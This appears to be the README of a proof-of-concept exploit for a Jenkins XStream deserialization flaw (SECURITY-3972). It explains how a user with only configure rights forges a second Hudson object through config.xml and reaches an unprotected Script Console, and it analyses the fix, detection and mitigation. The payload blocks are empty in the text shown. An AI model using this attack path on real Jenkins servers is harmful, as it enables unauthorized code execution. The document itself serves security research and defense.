For authorized security research on vulnerable test instances only.

Usage

The script verifies the account has no script permission (expect 403), submits the crafted config.xml, then routes through the injected object graph to a Script Console whose ACL is attacker-controlled.

Technical analysis

Root cause

Two long-standing behaviors of the Jenkins XStream stack (hudson.util.XStream2 / RobustReflectionConverter) combine:

1. PersistenceRoot types could be deserialized as nested field values. JEP-200 restricts which classes may be deserialized, but not where in the object graph. Any field typed as (or assignable to) a PersistenceRoot subtype was unmarshalled like a plain object. Since XStream instantiates via Unsafe.allocateInstance (no constructor), an attacker could forge a second hudson.model.Hudson singleton with arbitrary field values — including authorizationStrategy.
2. Transient fields were also unmarshalled (the "unmarshal into transient fields like XStream 1.1.3" compatibility behavior). The object references required for Stapler request routing (FingerprintAction.build, Run.project, AbstractItem.parent) are transient, so injected objects become reachable over HTTP — the "subsequently handle HTTP requests via Stapler" wording of the advisory.

Gadget chain

POST /job/<job>/config.xml (only needs Item/Configure) injects into the job's <actions>:

Stapler then routes the request into the forged graph:

The authorization bypass: doScriptText checks ADMINISTER against the instance that received the request, i.e. getACL() of the forged Hudson, which is derived from its own authorizationStrategy field — AuthorizationStrategy$Unsecured grants everything. The real controller's authorization strategy never participates. Because no constructor runs during deserialization, field initializers don't apply; the payload must set authorizationStrategy (and properties) explicitly.

Fix analysis (2.580)

Diffing jenkins-2.579 → jenkins-2.580:

• RobustReflectionConverter.doUnmarshal now refuses to unmarshal a PersistenceRoot subtype into a nested field (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), allowing only three safe shapes: XStream reference= back-references, non-persistent resolves-to replacers (Run$Replacer, User$Replacer, …), and single-value converter scalar references.
• New @XStreamNotDeserializable / @XStreamDeserializable annotations plus TRANSIENT_FIELD_STRICT_MODE tighten transient-field unmarshalling per field.
• Jenkins.readResolve() now refuses to deserialize a second Jenkins singleton and gained a writeReplace() replacer.
• Regression tests: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Notes

• The injection is in-memory (transient): restarting Jenkins clears it, but it can be re-submitted at will.
• Detection: unexpected POST /job/*/config.xml payloads containing nested Fingerprinter_-FingerprintAction / hudson.model.Hudson, or requests to /job/*/fingerprints/run/parent/parent/scriptText.

Mitigation

• Upgrade to weekly ≥ 2.580 / LTS ≥ 2.568.3.
• Restrict Item/Configure to trusted administrators in the authorization matrix.
• Audit access logs for the patterns above; restart suspicious instances and check job config.xml files for pollution.

References

• https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
• https://nvd.nist.gov/vuln/detail/CVE-2026-84645